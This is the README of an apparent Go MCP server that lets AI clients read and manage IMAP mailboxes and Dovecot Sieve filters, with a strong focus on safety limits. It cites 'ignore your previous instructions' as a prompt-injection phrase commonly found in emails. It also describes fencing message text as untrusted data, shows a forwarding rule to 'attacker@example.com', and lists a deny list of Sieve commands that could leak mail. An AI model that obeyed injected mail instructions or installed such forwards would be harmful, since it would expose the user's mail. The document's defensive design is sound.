- Go 99.5%
- Dockerfile 0.5%
| Filename | Latest commit message | Latest commit date |
|---|---|---|
| .forgejo/workflows | ||
| .github/workflows | ||
| internal | ||
| .gitignore | ||
| AGENTS.md | ||
| Containerfile | ||
| go.mod | ||
| go.sum | ||
| LICENSE | ||
| mail-mcp.container | ||
| mail-mcp.network | ||
| main.go | ||
| main_test.go | ||
| README.md | ||
mail-mcp
A Go MCP server for a user's mailbox over IMAP, built on go-imap v2 with MIME decoding by enmime. It works with any IMAP server — Dovecot, Gmail, Yandex — and exposes 16 tools over the Model Context Protocol: reading a mailbox, changing it (flags, moving, deleting to the Trash, drafts) and managing the server-side filter rules of Dovecot over ManageSieve (RFC 5804).
Two things make it different from a typical mail MCP server, and both are deliberate:
- The administrator declares which mail servers exist. A credential can only name a profile from that list. Accepting a host from a client would turn the server into an SSRF proxy and a port scanner for the internal network.
- The user brings the credential, per session and per mailbox. Over the http transport every client sends its own login and password in an inbound header, and as many extra mailboxes as it likes in one header each. Nothing is stored on disk, so a compromise of this host leaks no mailbox passwords — see Authentication.
Tools
| Tool | Purpose |
|---|---|
list_accounts |
The mailboxes available in this session: label, login, server, Sieve availability. Call it first — it names the labels the optional account argument of every other tool accepts |
list_folders |
The folders of a mailbox with message and unread counts and their role (входящие / отправленные / черновики / корзина / спам / архив) |
list_messages |
The newest messages of a folder — the main "что мне написали" tool. Envelopes only |
search_messages |
Server-side UID SEARCH by sender, recipient, subject, date range, unread state, presence of attachments, or body text. Envelopes only |
get_message |
One message: headers, the body as plain text (truncated), and an inventory of attachments without their content |
get_attachment |
The text of one attachment by part number. Binary attachments are refused with an explanation |
get_thread |
The whole conversation a message belongs to, oldest first, rebuilt from References/In-Reply-To |
mark_message |
Read/unread, important, answered — only the flags you pass are touched |
move_message |
Move one message to another folder |
delete_message |
Move one message to the Trash. Nothing is ever destroyed: EXPUNGE is never sent |
create_draft |
Write a message into Drafts for the person to send. Answers a message when given its UID |
list_sieve_scripts |
The server-side filter scripts, which one is active, and the Sieve extensions the server supports |
get_sieve_script |
The text of one script |
put_sieve_script |
Create or replace a script: checked for redirect here, compiled by the server, shown next to the version it replaced |
set_active_sieve_script |
Choose the active script, or switch filtering off with an empty name |
delete_sieve_script |
Delete a script (the active one cannot be deleted) |
The last nine appear only when the server was started without --read-only,
and the five Sieve ones additionally require a profile that declares a
ManageSieve endpoint — see Tool gating.
Every tool takes an optional account. With one mailbox connected it is
unnecessary; with several, an omitted account means the one labelled
default, and an unknown label comes back as text listing the ones that exist.
The folder argument accepts an exact name, a role word (Корзина, trash,
черновики, sent) or a unique substring, so a model does not need to know
that a server calls its trash INBOX.Trash.
Tool descriptions are bilingual (Russian AND English keywords) so the model can pick the right tool for a query in either language. Tool answers are in Russian. "Not found", a refused credential and a bad argument all come back as friendly text rather than a protocol error — a protocol error stops the model, text lets it correct itself.
Dates: the since / before vocabulary
search_messages accepts three vocabularies for both arguments. IMAP compares
dates only, never times, so everything is normalized to midnight in the
configured timezone.
- absolute —
2026-07-29,2026-07-29T10:00,29.07.2026,20260729 - named —
today/сегодня,yesterday/вчера,неделя/this week,месяц,год - offsets —
-7d,-2w,-3m,-1y,+1d
An unparseable value comes back as an error listing the accepted syntax, never as a silently wrong search window.
Searching inside messages, and fts-flatcurve
Searching by sender, subject, date or flags is fast on every IMAP server.
Searching INSIDE messages (body_text) is not, and the difference is not
visible in CAPABILITY.
Measured on a live Dovecot with a 16 061 message INBOX and no full-text index, using the execution time the server itself reports in its tagged response:
a3 SEARCH HEADER SUBJECT "zzqxwvbnmqq7" OK ... (0.123 + 0.000 + 0.122 secs)
a4 SEARCH TEXT "zzqxwvbnmqq7" OK ... (19.385 + 0.000 + 19.384 secs)
So body_text is:
- opt-in. Nothing searches message content unless that argument is passed.
- bounded. A content search is cut off after
--body-search-timeout(10 s by default): the connection is closed and the answer explains that the server has no index for this and suggests narrowing the search. A conversation never hangs on it. - self-calibrating. The cost of the first real content search — the server's
own number when it reports one (Dovecot does), the clock otherwise — becomes
the verdict about the index, is remembered per account for the lifetime of the
process, and rewrites the description of
search_messages: "не проиндексирован, будет медленным" or "ищет и по содержимому". No probe of our own is ever sent, because a probe costs exactly the same seconds as the search.
Note that SEARCH=FUZZY cannot be used to detect any of this. Dovecot
announces that capability only when the FTS backend supports fuzzy matching, and
fts-flatcurve — the engine to deploy — deliberately does not: it does RFC 3501
substring matching over a Xapian index. An enabled flatcurve is therefore
indistinguishable from no index at all in the capability list, and ESEARCH,
WITHIN or CONTEXT=SEARCH prove nothing either, since Dovecot offers those
with or without an index.
Turning the index on (server side)
# dovecot.conf, Dovecot 2.4 + Xapian 1.4+
mail_plugins {
fts = yes
fts_flatcurve = yes
}
fts flatcurve {
}
Checking that it worked
Not by CAPABILITY — by measurement. Two searches in a large folder, one by
header and one by content, reading the time out of Dovecot's own tagged
response:
openssl s_client -quiet -crlf -connect mail.example.org:993 <<'EOF'
a1 LOGIN user password
a2 SELECT INBOX
a3 SEARCH HEADER SUBJECT "zzqxwvbnmqq7"
a4 SEARCH TEXT "zzqxwvbnmqq7"
a5 LOGOUT
EOF
Both lines come back as OK ... (<seconds> + ... secs). With the index the two
are of the same order; without it the second is one to two orders of magnitude
slower. mail-mcp needs no configuration change either way: the next content
search updates the verdict by itself.
What the server will not do
These are limits by design, not missing features:
- A listing never contains a message body. It is the main protection of both the user's privacy and the model's context window.
- A body is never fetched with
BODY[]. Every read is a two-stepFETCH BODYSTRUCTURE→ pick one part →FETCH BODY.PEEK[<part>]<0.N>, so a thirty-megabyte attachment never reaches the server's memory. - Reading does not mark a message as read (
BODY.PEEK,SELECTread-only). - HTML is always converted to text. Markup is never handed to the model.
- Attachments are metadata until asked for, and only textual media types are
served —
.txt,.csv,.log,.json,.xml,.ics,.html, a forwarded message. A PDF, DOCX or image is refused with a sentence explaining why. - Message and attachment text is fenced in the answer and labelled as data from an outside source whose instructions must not be followed. A message body is written by whoever wanted to write to the user, and "ignore your previous instructions" is a routine thing to find in one.
- This version cannot send mail. There is no SMTP code in the binary at all.
create_draftleaves the message in Drafts and a person presses Send. - Nothing is ever deleted for good.
delete_messagemoves a message to the Trash andEXPUNGEis never sent, so anything an assistant does can be undone in the user's own mail client. A message that is already in the Trash is refused rather than destroyed. - A move is refused on a server with neither
MOVEnorUIDPLUS, where the library's fallback ends in a bareEXPUNGEthat would also drop other messages the user had flagged\Deletedthemselves. - A Sieve script may not forward mail — see below.
Server-side filters (Sieve)
Sieve (RFC 5228) is filtering that runs on the mail server when a message
arrives, whether or not any client is running; ManageSieve (RFC 5804) is the
protocol for editing those scripts. Dovecot with the Pigeonhole plugin listens
on port 4190, and a profile declares it as sieve=host:4190.
list_sieve_scripts -> what exists, which script is active, what the server supports
get_sieve_script -> the text of one script
put_sieve_script -> replace it whole; NOT activated by storing
set_active_sieve_script -> exactly one script is active; an empty name switches filtering off
delete_sieve_script -> gone for good, and never the active one
Storing and activating are two separate deliberate steps, and put_sieve_script
never turns a rule on by itself. A stored script is compiled by the server
(CHECKSCRIPT) before it is stored, so a syntax error comes back as text to
fix rather than as a broken mail delivery, and the answer shows the new script
next to the version it replaced.
redirect is sending mail, and it is refused
A rule saying
redirect "attacker@example.com";is a permanent, invisible forward of the whole mailbox, set up once and never looked at again. Writing a Sieve script is therefore the same privilege as sending mail, and it is gated by the same switch.
put_sieve_script lexes the script (it does not take the caller's word for
it) and refuses to store one that contains:
| Command | Why |
|---|---|
redirect |
forwards mail to another address |
vacation |
replies automatically, from the user, to whoever writes |
notify |
delivers a notification to an arbitrary URI — with Dovecot's mailto: method, an arbitrary message to an arbitrary address |
include |
pulls in another script whose text this check never sees |
pipe, execute, filter |
hand the message to an external program (vnd.dovecot.*) |
The word inside a comment, a string or a text: block is data and is not
flagged; identifiers are matched case-insensitively, because Sieve is; a script
that does not lex is refused, because a check that did not run is not a
permission. Sorting (fileinto), flagging (setflag) and dropping (discard)
are unaffected — that is what filter rules are normally for.
Starting the server with --allow-send lifts the refusal. The flag is off by
default and this version has no SMTP at all; it exists now so that the Sieve gate
and the future send_message answer to one switch.
This is our rule, not the server's, and both the tool description and the
refusal say so. A live Dovecot Pigeonhole compiles redirect and vacation
without a word — checked with CHECKSCRIPT against a server announcing
fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date index ihave duplicate mime foreverypart extracttext vacation-seconds — so a message that sounded like "the server cannot
do that" would send the user to fix a mail server that is working perfectly. The
vnd.dovecot.* commands are a different case: this server does not offer those
extensions at all, and require "vnd.dovecot.pipe" is refused by Pigeonhole
itself with unknown Sieve capability.
Two other things worth knowing about the Pigeonhole dialect, both verified against the live server:
requiremay only appear at the very beginning of a script; anything else fails withrequire commands can only be placed at top level at the beginning of the file, and a command used without itsrequirefails withunknown command 'fileinto'. Both come back as the compiler's own text.fileinto :create "Новая"andfileintointo a folder that does not exist both COMPILE — the folder question is decided at delivery time, not byCHECKSCRIPT. Use:create(withrequire "mailbox") when the rule is meant to make the folder.
What the check does not catch, stated plainly: an included script's
contents (they are refused wholesale instead), a rule that already exists on the
server and was not written through this tool, and reject/ereject, which
bounce a message with text of the script author's choosing back to whoever wrote
— a low-bandwidth channel that needs inbound mail from the attacker to work at
all, and that is left allowed because rejecting mail is ordinary filtering.
Changing a mailbox
mark_message, move_message, delete_message and create_draft change one
message each — never a batch. A wrong bulk operation on a mailbox is expensive
to undo by hand, and a model that has to name every message it touches is a
model whose actions a person can follow.
- Flags are tri-state: marking a message read does not clear its importance flag, because only the flags you pass are touched.
- Deleting moves to the Trash. The answer says so in as many words, so that a model reports "письмо в Корзине" rather than "удалено".
create_draftis the pattern that replaces sending. Givenin_reply_to_uidit fills in the recipient, the subject (Re: ...) and theReferenceschain from the original — without marking the original read.- All four disappear from a session when the server runs with
--read-only.
Build and run
go build -o mail-mcp .
# stdio transport (default) — for a local MCP client, one mailbox
MAIL_USER=alice MAIL_PASSWORD=xxxxx \
./mail-mcp --server=corp:imap=mail.example.org:993
# streamable-http — per-user: no shared mailbox, every client sends its own
./mail-mcp --transport=http --addr=:8096 \
--server=corp:imap=mail.example.org:993,sieve=mail.example.org:4190 \
--server=gmail \
--mcp-auth-header=Authorization
The server refuses to start without at least one --server: there would be
nothing it is allowed to connect to.
Declaring mail servers
--server is repeatable and accepts three shapes:
corp:imap=mail.example.org:993,smtp=mail.example.org:465,sieve=mail.example.org:4190,tls=starttls
corp:mail.example.org # one host for IMAP, SMTP and ManageSieve, standard ports
gmail # a built-in preset
Keys are imap, smtp, sieve and tls (tls | starttls | none). A
service without an explicit port gets the standard one for the profile's TLS
mode: IMAP 993/143, submission 465/587, ManageSieve 4190. The SMTP endpoint is
still unused — it is recorded so that adding submission later does not change
the configuration format under existing deployments.
ManageSieve always goes through STARTTLS unless the profile says tls=none,
whatever its tls= mode is: RFC 5804 registers one port and one way to encrypt
it, and a tls=tls meant for IMAP on 993 must not turn a Sieve login into a
plaintext one. A rules server that does not offer STARTTLS is refused before the
password is sent.
Built-in presets: gmail, yandex, mailru, outlook, icloud. None of them
offers ManageSieve.
--servers-file reads the same values one per line (# starts a comment),
which keeps a long list out of the command line and out of ps. MAIL_SERVERS
holds them separated by ;. A --server flag makes the environment variable be
ignored entirely rather than merged, so a unit file and a command line
cannot silently add up to a longer allow-list.
Flags / environment variables
| Flag | Env | Default | Description |
|---|---|---|---|
--transport |
— | stdio |
stdio or http |
--addr |
— | :8096 |
address for the http transport |
--server |
MAIL_SERVERS |
(none) | mail server profile, repeatable; env separates them with ;. Required |
--servers-file |
MAIL_SERVERS_FILE |
(empty) | file with one --server value per line |
--default-server |
MAIL_DEFAULT_SERVER |
first declared | profile a credential without a NAME/ prefix belongs to |
--mcp-auth-header |
MCP_AUTH_HEADER |
(empty) | http only: header clients use to send their own credential. Unset → inbound header auth disabled, client headers ignored |
--mcp-account-header-prefix |
MCP_ACCOUNT_HEADER_PREFIX |
X-Mail-Account- |
http only: prefix of the headers carrying additional mailboxes; empty disables them |
--mail-user |
MAIL_USER |
(empty) | static mailbox login (stdio, or a shared fallback over http) |
--mail-password |
MAIL_PASSWORD |
(empty) | static mailbox password |
--read-only |
MAIL_READ_ONLY |
false |
register only the reading tools: the four mailbox-changing tools and all five Sieve tools disappear |
--allow-send |
MAIL_ALLOW_SEND |
false |
permit what puts mail on the wire. There is no SMTP in this version; the switch currently governs a Sieve script containing redirect/vacation/notify/include |
--allow-plaintext |
MAIL_ALLOW_PLAINTEXT |
false |
permit profiles declared with tls=none |
--allow-arbitrary-hosts |
MAIL_ALLOW_ARBITRARY_HOSTS |
false |
let a credential name a host:port that is not a declared profile |
--max-results |
— | 50 |
default number of messages in a listing (ceiling 200) |
--max-body-chars |
— | 8000 |
default characters of a body returned by get_message |
--max-attachment-chars |
— | 20000 |
default characters returned by get_attachment |
--max-script-chars |
— | 20000 |
default characters of a Sieve script shown by the Sieve tools |
--timezone |
MAIL_TIMEZONE |
system | IANA timezone for dates without an explicit offset |
--timeout |
— | 30s |
timeout of one IMAP connection |
--body-search-timeout |
MAIL_BODY_SEARCH_TIMEOUT |
10s |
how long a search INSIDE messages (body_text) may take before it is cut off. See Searching inside messages |
--version |
— | — | print the version and exit |
A flag takes precedence over its environment variable, and both directions of
"fail-safe" are implemented: for a restricting switch (--read-only) any
unrecognized non-empty value counts as "on", so a typo cannot enable writes;
for a permitting one (--allow-send, --allow-plaintext,
--allow-arbitrary-hosts) only an explicit 1/true/yes/on counts, so a
typo cannot hand out a permission.
Authentication
Outbound (MCP → mail server)
A mailbox login and password over IMAP, LOGIN on a TLS connection. Google,
Yandex and the like require an app password rather than the account
password. The password is never put into a URL, a log line or an error message,
and is never written to disk.
Inbound (client → MCP), http transport only
When --mcp-auth-header names a header, each client request may carry its own
mailbox credential there. When it is unset, inbound header auth is disabled and
client headers are ignored entirely — the server does not trust the client by
default. For stdio the credential is always the static one.
Four value shapes are accepted, the first three being exactly what the sibling servers accept, so an Open WebUI header template written for them keeps working:
| Value | Meaning |
|---|---|
alice:s3cret |
a raw login:password pair |
Basic <base64(alice:s3cret)> |
a ready-made Basic header |
<base64(alice:s3cret)> |
a bare base64 blob |
gmail/alice@gmail.com:app-password |
any of the above, with a profile prefix |
The password is everything after the first colon, so a password containing
colons survives. The profile prefix is separated by /, a character that —
unlike @ and : — does not occur in mailbox logins; a prefix containing @
is treated as part of the login, not as a profile name. Without a prefix the
default profile is used.
Anything else is refused, and no error message ever echoes the value it
rejected. A refused secret creates no account: the session is told so by
list_accounts rather than being silently served a shared mailbox.
Several mailboxes for one user
Any header named <prefix><Label> — by default X-Mail-Account-<Label> — adds
one more mailbox to the session, labelled <Label> in lower case. The main
header is the account default.
Authorization: alice:corp-password → account "default" on the default profile
X-Mail-Account-Personal: gmail/alice@gmail.com:app-pass → account "personal" on the profile "gmail"
This is what the Open WebUI per-user secrets are for. A connection declares one
user_config slot per mailbox; an optional slot the user left blank makes the
whole header disappear, and the account simply is not there:
"headers": {
"Authorization": "{{USER_SECRET:mail_corp}}",
"X-Mail-Account-Personal": "{{USER_SECRET:mail_personal}}"
},
"config": { "user_config": {
"type": "object",
"properties": {
"mail_corp": { "type": "string", "title": "Корпоративная почта: логин и пароль",
"description": "Одной строкой `логин:пароль`", "input": {"type": "password"} },
"mail_personal": { "type": "string", "title": "Личный ящик (необязательно)",
"description": "`gmail/адрес:пароль-приложения`", "input": {"type": "password"} }
},
"required": ["mail_corp"]
}}
Tool gating
Which tools exist is a property of the session, not of the process. With no
credential the only registered tool is list_accounts, which explains that no
mailbox is connected and names the profiles the administrator declared. Three
tiers follow:
| Tier | Condition |
|---|---|
| 6 read tools | the session has at least one mailbox |
| 4 mailbox-changing tools | ...and the server does not run with --read-only |
| 5 Sieve tools | ...and at least one account is on a profile with sieve= |
In http mode this is evaluated per request, so each client sees the tools for its own mailboxes.
Resolution order (http): inbound headers → static credential → nothing.
In HTTP mode the server also serves GET /healthz (a health-check for
quadlet/orchestrator).
Usage with MCP clients
The server runs over stdio as the binary mail-mcp.
Claude (.mcp.json)
{
"mcpServers": {
"mail": {
"command": "mail-mcp",
"args": ["--transport=stdio", "--server=corp:imap=mail.example.org:993", "--timezone=Europe/Moscow"],
"env": {
"MAIL_USER": "alice",
"MAIL_PASSWORD": "<mailbox password>"
}
}
}
}
Codex (~/.codex/config.toml)
[mcp_servers.mail]
command = "mail-mcp"
args = ["--transport=stdio", "--server=corp:imap=mail.example.org:993", "--timezone=Europe/Moscow"]
env = { MAIL_USER = "alice", MAIL_PASSWORD = "<mailbox password>" }
opencode (opencode.json)
{
"mcp": {
"mail": {
"type": "local",
"command": ["mail-mcp", "--transport=stdio", "--server=corp:imap=mail.example.org:993"],
"environment": { "MAIL_USER": "alice", "MAIL_PASSWORD": "<mailbox password>" },
"enabled": true
}
}
}
Behaviour notes
- UIDs, never sequence numbers. A message is addressed by folder + UID, and
the answer carries the folder's
UIDVALIDITY. Sequence numbers shift whenever another client deletes a message. - Special-use folders are matched by role first, by name second. The RFC
6154 attribute (
\Trash,\Drafts,\Sent,\Junk,\Archive) is the right way to find them — a Russian Dovecot calls its trashКорзинаand a German onePapierkorb. But those attributes are set by whatever created the folder, and a mailbox filled by an old client or by a migration may carry none at all, so a folder namedTrash,Deleted Items,Корзина,Drafts,Sent Items,Junk,Spam,Archive(and their friends, case-insensitively, whole or as the last component ofINBOX.Trash) is accepted as the fallback. When neither works, the answer says so and names both things that were tried; nothing is ever created. Folder names arrive decoded from modified UTF-7. - Search runs on the server — see Searching inside messages for the one part of it that has a price.
has_attachmenthas no IMAP search key. It is applied to the envelopes after the server has narrowed the set down, over at most the 400 newest matches; the answer then says the count is a lower bound.- Headers in KOI8-R and CP1251 are decoded — the RFC 2047 word decoder is
given
go-message/charset, which resolves those labels throughianaindexandhtmlindex. Bodies go through enmime, which also detects a mislabelled charset. - A conversation is rebuilt from
References/In-Reply-Towithin one folder, not with theTHREADextension, even where the server offers it. Checked against a live Dovecot announcingTHREAD=REFERENCESandTHREAD=REFS: on 14 sampled conversations of 2 to 20 messages both produced exactly the same set, andTHREADis the slower way to get it — it threads the whole folder (6.5 s and 104 KB of response on a 16 000 message INBOX) and the group holding the UID then has to be picked out of the result, while the header chain asks about one conversation and answers in 0.4 s. It also works on servers with noTHREADat all. A reply that was moved to another folder will not appear. - One connection per tool call. An IMAP login is not free, but a long-lived
connection is worse against a Dovecot with
mail_max_userip_connections(10 by default), especially with several mailboxes in one session.
Tests
go test ./... -race
The IMAP tests run against the in-memory IMAP server that ships with go-imap
(imapserver + imapmemserver) over a loopback socket, so the whole stack down
to the wire is exercised — command encoding, literals, modified UTF-7 mailbox
names, server-generated BODYSTRUCTURE, SEARCH semantics — without a live
Dovecot. The message fixtures in internal/mail/testdata/ are real-shaped: a
KOI8-R body with an RFC 2047 subject, a CP1251 multipart/alternative, a
multipart/mixed with two attachments and an inline image, an HTML-only
newsletter, a message/rfc822 forward, a three-message thread, and a message
with a broken charset label.
The ManageSieve tests run against a fake server written in the test files —
there is no in-memory ManageSieve implementation to borrow — over a real socket,
with its own independent command parser, so a bug in our literal encoding cannot
cancel out against the same bug in a mock. It covers STARTTLS with a generated
certificate, literals in the middle of a line, response codes, and the refusals
(NONEXISTENT, ACTIVE, QUOTA/MAXSIZE, a multi-line syntax error).
internal/tools/tools_test.go drives a real MCP client against a real MCP
server over an in-memory transport, so what the tests assert on is exactly
what a model receives: the tool list of a session, the JSON-Schema types of
every non-string argument, the bilingual descriptions, and the text of the
answers. main_test.go covers per-session credential resolution and the
flag/environment precedence.
The tests make no call to a real mail server; verification against a live Dovecot happens at deploy time.
Container (podman/docker)
podman build -t mail-mcp -f Containerfile .
podman run --rm -p 127.0.0.1:8096:8096 \
-e MAIL_SERVERS='corp:imap=mail.example.org:993' \
-e MCP_AUTH_HEADER=Authorization \
mail-mcp
The image is multi-stage: build on the Sisyphus golang image (CGO_ENABLED=0,
static binary), the final stage is distroless-static with a CA bundle for TLS
to the mail servers, USER 65534. The IANA timezone database is compiled into
the binary (time/tzdata), so --timezone resolves even though the image has
no /usr/share/zoneinfo.
Quadlet (rootless systemd)
mail-mcp.network and mail-mcp.container deploy it as a rootless service.
Copy them into ~/.config/containers/systemd/, set MAIL_SERVERS (and either
MCP_AUTH_HEADER for per-user mode or MAIL_USER/MAIL_PASSWORD for a shared
mailbox) in .container, then:
systemctl --user daemon-reload
systemctl --user start mail-mcp
mail-mcp.network sets Options=mtu=1500 — required, otherwise outgoing TCP
connections from the container break. The port is published on
127.0.0.1:8096.
Layout
main.go # CLI, profile registry, transports (stdio/http), /healthz
internal/accounts/ # who connects where
profile.go # --server grammar, presets, Registry (the allow-list)
credential.go # inbound header shapes, Account, Set, session resolution
internal/mail/ # IMAP client, no MCP dependency
client.go # dial (TLS/STARTTLS/plaintext), login, SELECT
folders.go # LIST + SPECIAL-USE roles, folder name resolution
messages.go # envelopes, SEARCH, message/attachment/thread
mutate.go # flags, move, delete-to-Trash, draft via APPEND
mime.go # BODYSTRUCTURE -> parts, part selection, decoding
dates.go # the since/before vocabulary
format.go # human-readable rendering, untrusted-content fence
errors.go # domain errors
testdata/ # real-shaped message fixtures
internal/sieve/ # ManageSieve client (RFC 5804), no MCP dependency
proto.go # the wire format: literals, quoted strings, responses
client.go # dial + STARTTLS + AUTHENTICATE PLAIN, the commands
guard.go # the Sieve lexer and the outgoing-mail gate
format.go # human-readable rendering
errors.go # response codes -> the domain errors of internal/mail
internal/tools/ # 16 MCP tools (Input structs + handlers + session gating)
Containerfile
mail-mcp.network mail-mcp.container
License
MIT — see LICENSE.